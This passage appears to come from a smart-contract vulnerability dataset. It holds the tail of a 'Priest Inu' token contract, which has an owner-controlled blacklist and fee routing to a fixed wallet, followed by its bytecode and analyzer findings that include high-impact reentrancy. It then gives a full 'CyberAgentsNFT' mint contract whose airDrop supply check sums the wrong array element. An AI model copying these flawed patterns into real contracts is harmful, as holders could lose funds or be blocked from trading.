_tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Priest Inu"; string private constant _symbol = "Priest"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xF3AE5b55101536660d95DF2758DdF08530ca628b); _feeAddrWallet2 = payable(0xF3AE5b55101536660d95DF2758DdF08530ca628b); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c7578063b515566a146102e7578063c3c8cd8014610307578063c9567bf91461031c578063dd62ed3e1461033157600080fd5b806370a082311461023b578063715018a61461025b5780638da5cb5b1461027057806395d89b411461029857600080fd5b8063273123b7116100d1578063273123b7146101c8578063313ce567146101ea5780635932ead1146102065780636fc3eaec1461022657600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a81526950726965737420496e7560b01b60208201525b60405161014a9190611593565b60405180910390f35b34801561015f57600080fd5b5061017361016e36600461160d565b610377565b604051901515815260200161014a565b34801561018f57600080fd5b50678ac7230489e800005b60405190815260200161014a565b3480156101b457600080fd5b506101736101c3366004611639565b61038e565b3480156101d457600080fd5b506101e86101e336600461167a565b6103f7565b005b3480156101f657600080fd5b506040516009815260200161014a565b34801561021257600080fd5b506101e86102213660046116a5565b61044b565b34801561023257600080fd5b506101e8610493565b34801561024757600080fd5b5061019a61025636600461167a565b6104c0565b34801561026757600080fd5b506101e86104e2565b34801561027c57600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102a457600080fd5b50604080518082019091526006815265141c9a595cdd60d21b602082015261013d565b3480156102d357600080fd5b506101736102e236600461160d565b610556565b3480156102f357600080fd5b506101e86103023660046116d8565b610563565b34801561031357600080fd5b506101e86105f9565b34801561032857600080fd5b506101e861062f565b34801561033d57600080fd5b5061019a61034c36600461179d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103843384846109f1565b5060015b92915050565b600061039b848484610b15565b6103ed84336103e88560405180606001604052806028815260200161199c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e62565b6109f1565b5060019392505050565b6000546001600160a01b0316331461042a5760405162461bcd60e51b8152600401610421906117d6565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104755760405162461bcd60e51b8152600401610421906117d6565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b357600080fd5b476104bd81610e9c565b50565b6001600160a01b03811660009081526002602052604081205461038890610f21565b6000546001600160a01b0316331461050c5760405162461bcd60e51b8152600401610421906117d6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610384338484610b15565b6000546001600160a01b0316331461058d5760405162461bcd60e51b8152600401610421906117d6565b60005b81518110156105f5576001600660008484815181106105b1576105b161180b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ed81611837565b915050610590565b5050565b600c546001600160a01b0316336001600160a01b03161461061957600080fd5b6000610624306104c0565b90506104bd81610fa5565b6000546001600160a01b031633146106595760405162461bcd60e51b8152600401610421906117d6565b600f54600160a01b900460ff16156106b35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef3082678ac7230489e800006109f1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107609190611852565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190611852565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108609190611852565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610890816104c0565b6000806108a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610941919061186f565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f5919061189d565b6001600160a01b038316610a535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b038216610ab45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b038216610bdb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b60008111610c3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610421565b6002600a556008600b556000546001600160a01b03848116911614801590610c7357506000546001600160a01b03838116911614155b15610e52576001600160a01b03831660009081526006602052604090205460ff16158015610cba57506001600160a01b03821660009081526006602052604090205460ff16155b610cc357600080fd5b600f546001600160a01b038481169116148015610cee5750600e546001600160a01b03838116911614155b8015610d1357506001600160a01b03821660009081526005602052604090205460ff16155b8015610d285750600f54600160b81b900460ff165b15610d8557601054811115610d3c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6057600080fd5b610d6b42601e6118ba565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db05750600e546001600160a01b03848116911614155b8015610dd557506001600160a01b03831660009081526005602052604090205460ff16155b15610de5576002600a908155600b555b6000610df0306104c0565b600f54909150600160a81b900460ff16158015610e1b5750600f546001600160a01b03858116911614155b8015610e305750600f54600160b01b900460ff165b15610e5057610e3e81610fa5565b478015610e4e57610e4e47610e9c565b505b505b610e5d83838361112e565b505050565b60008184841115610e865760405162461bcd60e51b81526004016104219190611593565b506000610e9384866118d2565b95945050505050565b600c546001600160a01b03166108fc610eb6836002611139565b6040518115909202916000818181858888f19350505050158015610ede573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ef9836002611139565b6040518115909202916000818181858888f193505050501580156105f5573d6000803e3d6000fd5b6000600854821115610f885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610421565b6000610f9261117b565b9050610f9e8382611139565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fed57610fed61180b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104157600080fd5b505afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190611852565b8160018151811061108c5761108c61180b565b6001600160a01b039283166020918202929092010152600e546110b291309116846109f1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110eb9085906000908690309042906004016118e9565b600060405180830381600087803b15801561110557600080fd5b505af1158015611119573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e5d83838361119e565b6000610f9e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611295565b60008060006111886112c3565b90925090506111978282611139565b9250505090565b6000806000806000806111b087611303565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e29087611360565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121190866113a2565b6001600160a01b03891660009081526002602052604090205561123381611401565b61123d848361144b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128291815260200190565b60405180910390a3505050505050505050565b600081836112b65760405162461bcd60e51b81526004016104219190611593565b506000610e93848661195a565b6008546000908190678ac7230489e800006112de8282611139565b8210156112fa57505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006113208a600a54600b5461146f565b925092509250600061133061117b565b905060008060006113438e8787876114c4565b919e509c509a509598509396509194505050505091939550919395565b6000610f9e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e62565b6000806113af83856118ba565b905083811015610f9e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b600061140b61117b565b905060006114198383611514565b3060009081526002602052604090205490915061143690826113a2565b30600090815260026020526040902055505050565b6008546114589083611360565b60085560095461146890826113a2565b6009555050565b600080808061148960646114838989611514565b90611139565b9050600061149c60646114838a89611514565b905060006114b4826114ae8b86611360565b90611360565b9992985090965090945050505050565b60008080806114d38886611514565b905060006114e18887611514565b905060006114ef8888611514565b90506000611501826114ae8686611360565b939b939a50919850919650505050505050565b60008261152357506000610388565b600061152f838561197c565b90508261153c858361195a565b14610f9e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610421565b600060208083528351808285015260005b818110156115c0578581018301518582016040015282016115a4565b818111156115d2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104bd57600080fd5b8035611608816115e8565b919050565b6000806040838503121561162057600080fd5b823561162b816115e8565b946020939093013593505050565b60008060006060848603121561164e57600080fd5b8335611659816115e8565b92506020840135611669816115e8565b929592945050506040919091013590565b60006020828403121561168c57600080fd5b8135610f9e816115e8565b80151581146104bd57600080fd5b6000602082840312156116b757600080fd5b8135610f9e81611697565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116eb57600080fd5b823567ffffffffffffffff8082111561170357600080fd5b818501915085601f83011261171757600080fd5b813581811115611729576117296116c2565b8060051b604051601f19603f8301168101818110858211171561174e5761174e6116c2565b60405291825284820192508381018501918883111561176c57600080fd5b938501935b8285101561179157611782856115fd565b84529385019392850192611771565b98975050505050505050565b600080604083850312156117b057600080fd5b82356117bb816115e8565b915060208301356117cb816115e8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561184b5761184b611821565b5060010190565b60006020828403121561186457600080fd5b8151610f9e816115e8565b60008060006060848603121561188457600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118af57600080fd5b8151610f9e81611697565b600082198211156118cd576118cd611821565b500190565b6000828210156118e4576118e4611821565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119395784516001600160a01b031683529383019391830191600101611914565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261197757634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561199657611996611821565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d8bf378679f5fcb7ae259c2612db8a8d7b0e073aaee6d837fcdc5efdbb3d536b64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,073
0xF798139e5fc6a008812ad9B26dB2CC84B386FAEC
// SPDX-License-Identifier: MIT // Created by petdomaa100 pragma solidity 0.8.11; library Strings { function toString(uint256 value) internal pure returns(string memory) { if (value == 0) return "0"; uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } library Address { function isContract(address account) internal view returns(bool) { return account.code.length > 0; } } library Counters { struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns(uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } interface IERC165 { function supportsInterface(bytes4 interfaceID) external view returns(bool); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenID); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenID); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns(uint256 balance); function ownerOf(uint256 tokenID) external view returns(address owner); function safeTransferFrom(address from, address to, uint256 tokenID) external; function transferFrom(address from, address to, uint256 tokenID) external; function approve(address to, uint256 tokenID) external; function getApproved(uint256 tokenID) external view returns(address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns(bool); function safeTransferFrom(address from, address to, uint256 tokenID, bytes calldata data) external; } interface IERC721Metadata is IERC721 { function name() external view returns(string memory); function symbol() external view returns(string memory); function tokenURI(uint256 tokenID) external view returns(string memory); } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns(bytes4); } abstract contract Context { function _msgSender() internal view virtual returns(address) { return msg.sender; } function _msgData() internal view virtual returns(bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns(address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceID) public view virtual override returns(bool) { return interfaceID == type(IERC165).interfaceId; } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceID) public view virtual override(ERC165, IERC165) returns(bool) { return interfaceID == type(IERC721).interfaceId || interfaceID == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceID); } function balanceOf(address owner) public view virtual override returns(uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns(address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns(string memory) { return _name; } function symbol() public view virtual override returns(string memory) { return _symbol; } function tokenURI(uint256 tokenID) public view virtual override returns(string memory) { require(_exists(tokenID), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenID.toString())) : ""; } function _baseURI() internal view virtual returns(string memory) { return ""; } function approve(address to, uint256 tokenID) public virtual override { address owner = ERC721.ownerOf(tokenID); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all"); _approve(to, tokenID); } function getApproved(uint256 tokenID) public view virtual override returns(address) { require(_exists(tokenID), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenID]; } function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns(bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenID) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenID), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenID); } function safeTransferFrom(address from, address to, uint256 tokenID) public virtual override { safeTransferFrom(from, to, tokenID, ""); } function safeTransferFrom(address from, address to, uint256 tokenID, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenID), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenID, _data); } function _safeTransfer(address from, address to, uint256 tokenID, bytes memory _data) internal virtual { _transfer(from, to, tokenID); require(_checkOnERC721Received(from, to, tokenID, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenID) internal view virtual returns(bool) { return _owners[tokenID] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenID) internal view virtual returns(bool) { require(_exists(tokenID), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenID); return (spender == owner || getApproved(tokenID) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenID) internal virtual { _safeMint(to, tokenID, ""); } function _safeMint(address to, uint256 tokenID, bytes memory _data) internal virtual { _mint(to, tokenID); require(_checkOnERC721Received(address(0), to, tokenID, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenID) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenID), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenID); _balances[to] += 1; _owners[tokenID] = to; emit Transfer(address(0), to, tokenID); _afterTokenTransfer(address(0), to, tokenID); } function _burn(uint256 tokenID) internal virtual { address owner = ERC721.ownerOf(tokenID); _beforeTokenTransfer(owner, address(0), tokenID); _approve(address(0), tokenID); _balances[owner] -= 1; delete _owners[tokenID]; emit Transfer(owner, address(0), tokenID); _afterTokenTransfer(owner, address(0), tokenID); } function _transfer(address from, address to, uint256 tokenID) internal virtual { require(ERC721.ownerOf(tokenID) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenID); _approve(address(0), tokenID); _balances[from] -= 1; _balances[to] += 1; _owners[tokenID] = to; emit Transfer(from, to, tokenID); _afterTokenTransfer(from, to, tokenID); } function _approve(address to, uint256 tokenID) internal virtual { _tokenApprovals[tokenID] = to; emit Approval(ERC721.ownerOf(tokenID), to, tokenID); } function _setApprovalForAll(address owner, address operator, bool approved) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } function _checkOnERC721Received(address from, address to, uint256 tokenID, bytes memory _data) private returns(bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenID, _data) returns(bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) revert("ERC721: transfer to non ERC721Receiver implementer"); else { assembly { revert(add(32, reason), mload(reason)) } } } } else return true; } function _beforeTokenTransfer(address from, address to, uint256 tokenID) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 tokenID) internal virtual {} } contract CyberAgentsNFT is ERC721, Ownable { using Counters for Counters.Counter; using Strings for uint256; bool public paused; bool public revealed; string private unrevealedURI; string private baseURI; string private uriSuffix; uint256 public cost; uint256 public maxSupply; uint256 public freeToMintSupply; uint256 public maxMintAmountPerTX; Counters.Counter private supply; constructor(string memory _initUnrevealedURI) ERC721("Cyber Agents", "CA") { paused = true; revealed = false; cost = 0; maxSupply = 5555; freeToMintSupply = 555; maxMintAmountPerTX = 5; setURIsuffix(".json"); setUnrevealedURI(_initUnrevealedURI); } function mint(uint256 amount) public payable { uint256 newSupply = supply.current() + amount; require(amount > 0 && amount <= maxMintAmountPerTX, "Invalid mint amount"); require(newSupply <= maxSupply, "Max token supply exceeded"); require(!paused, "Minting is paused"); require(msg.value >= cost * amount, "Insufficient funds"); _mintLoop(_msgSender(), amount); if (cost == 0 && newSupply >= freeToMintSupply) cost = 0.05 ether; } function airDrop(address[] calldata addresses, uint8[] calldata amounts) public onlyOwner { assert(addresses.length == amounts.length); assert(addresses.length > 0 && amounts.length > 0); uint256 totalAmount; for (uint256 i = 0; i < amounts.length; i++) totalAmount += amounts[0]; uint256 newSupply = supply.current() + totalAmount; require(newSupply <= maxSupply, "Max token supply exceeded"); for (uint256 i = 0; i < addresses.length; i++) { _mintLoop(addresses[i], amounts[i]); } if (cost == 0 && newSupply >= freeToMintSupply) cost = 0.07 ether; } function flipPausedState() public onlyOwner { paused = !paused; } function reveal(string memory _initBaseURI) public onlyOwner { revealed = true; setBaseURI(_initBaseURI); } function withdraw() public onlyOwner { (bool success, ) = payable(owner()).call{ value: address(this).balance }(""); require(success); } function totalSupply() public view returns(uint256) { return supply.current(); } function tokenURI(uint256 tokenID) public view override returns(string memory) { require(_exists(tokenID), "ERC721Metadata: URI query for nonexistent token"); if (!revealed) return unrevealedURI; string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked(currentBaseURI, tokenID.toString(), uriSuffix) ) : ""; } function walletOfOwner(address _address) public view returns(uint256[] memory) { uint256 ownerTokenCount = balanceOf(_address); uint256[] memory ownedTokenIDs = new uint256[](ownerTokenCount); uint256 tokenIndex = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && tokenIndex <= maxSupply) { address owner = ownerOf(tokenIndex); if (owner == _address) { ownedTokenIDs[ownedTokenIndex] = tokenIndex; ownedTokenIndex++; } tokenIndex++; } return ownedTokenIDs; } function setBaseURI(string memory newBaseURI) public onlyOwner { baseURI = newBaseURI; } function setUnrevealedURI(string memory newUnrevealedURI) public onlyOwner { unrevealedURI = newUnrevealedURI; } function setURIsuffix(string memory newSuffix) public onlyOwner { uriSuffix = newSuffix; } function setMaxSupply(uint256 newAmount) public onlyOwner { maxSupply = newAmount; } function setFreeToMintSupply(uint256 newAmount) public onlyOwner { freeToMintSupply = newAmount; } function setMaxMintAmountPerTX(uint256 newAmount) public onlyOwner { maxMintAmountPerTX = newAmount; } function setCost(uint256 newCost) public onlyOwner { cost = newCost; } function _baseURI() internal view override returns(string memory) { return baseURI; } function _mintLoop(address to, uint256 amount) internal { for (uint256 i = 0; i < amount; i++) { supply.increment(); _safeMint(to, supply.current()); } } }
